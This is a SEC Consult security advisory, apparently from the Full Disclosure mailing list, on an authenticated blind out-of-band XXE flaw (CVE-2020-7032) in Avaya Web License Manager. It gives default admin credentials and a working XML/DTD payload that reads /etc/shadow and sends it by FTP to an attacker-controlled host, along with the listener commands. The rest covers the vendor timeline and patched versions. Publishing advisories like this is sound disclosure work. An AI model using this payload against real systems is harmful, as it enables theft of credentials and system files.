SEC Consult SA-20201117-0 :: Blind Out-Of-Band XML External Entity Injection in Avaya Web License Manager

From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Tue, 17 Nov 2020 20:30:10 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20201117-0 >
=======================================================================
              title: Blind Out-Of-Band XML External Entity Injection (Authenticated)
            product: Avaya Web License Manager
 vulnerable version: 6.x, 7.0 through 7.1.3.6, 8.0 through 8.1.2.0.0
      fixed version: 7.1.3.7 and 8.1.3
         CVE number: CVE-2020-7032
             impact: medium (6.5)
           homepage: https://www.avaya.com/en/
              found: 03/2020
                 by: M. Koplin (Office Munich)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================
```

Vendor description:

"As a global leader in delivering superior communications experiences,
Avaya provides the most complete portfolio of software and services
for multi-touch contact center and unified communications offered on
premises, in the cloud, or a hybrid. Today's digital world centers on
communications enablement, and no other company is better positioned
to do this than Avaya."

Source: https://www.avaya.com/en/

Business recommendation:

The vendor provides a patch for the Avaya Web License Manager which
should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve all security issues.

Vulnerability overview/description:
----
1) Blind Out-of-Band XML External Entity Injection (CVE-2020-7032)
This vulnerability within the Avaya Web License Manager (WebLM) allows an
authenticated user to read arbitrary files in the context of the Webserver
(Tomcat) by uploading a specially crafted XML file within the License upload
functionality. Accessible sensitive files that can be read are for example
/etc/shadow, SSH keys or other configuration files.

Proof of concept:
----
1) Blind Out-of-Band XML External Entity Injection (CVE-2020-7032)
Login as a user to https://$IP/WebLM/ and navigate to "Install License". If
WebLM has never been used before or not hardened, the default credentials are
admin:weblmadmin

Create an XML file like the following:

```
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://$ATTACKER_IP/xxe_file.dtd";>
%asd;
%c;
]>
<a>&rrr;</a>
```

and a DTD file like:

```
<!ENTITY % d SYSTEM "file:///etc/shadow">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://$ATTACKER_IP:2121/%d;&apos;>">
```

Start a webserver, e.g. SimpleHTTPServer

```
python -m SimpleHTTPServer 80
```

and an FTP server like GO XXE FTP Server

```
./xxeserv 2121
```

Upload the crafted XML file by clicking the install button.

Vulnerable / tested versions:

The following version has been tested:
* Avaya Web License Manager 6.3

The vendor doesn't support versions < 7.x. Probably all versions <7 are
affected.

Vendor contact timeline:

2020-03-18: Contacting vendor through securityalerts () avaya com
2020-03-19: Vendor replied and started the process to verify the vulnerability
2020-04-03: Second mail to vendor to check if they have verified the issue
2020-05-18: Release of Hotfix for WebLM (embedded with SMGR) version 8.1.2.x
2020-07-01: Advisory release postponed, due to a delayed patch for version 7
2020-11-16: Patch release for version 7 and 8 of WebLM standalone and SMGR
2020-11-17: Publication of the advisory.

Solution:

Version 6: Upgrade to a new major release
Version 7: Upgrade to 7.1.3.7 or later
Version 8: Install hot fix #7 or upgrade to version 8.1.3

```
Workaround:
-----------
None.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF M. Koplin / @2020

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date   By Thread

Current thread:

- **SEC Consult SA-20201117-0 :: Blind Out-Of-Band XML External Entity Injection in Avaya Web License Manager** ***SEC Consult Vulnerability Lab (Nov 17)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License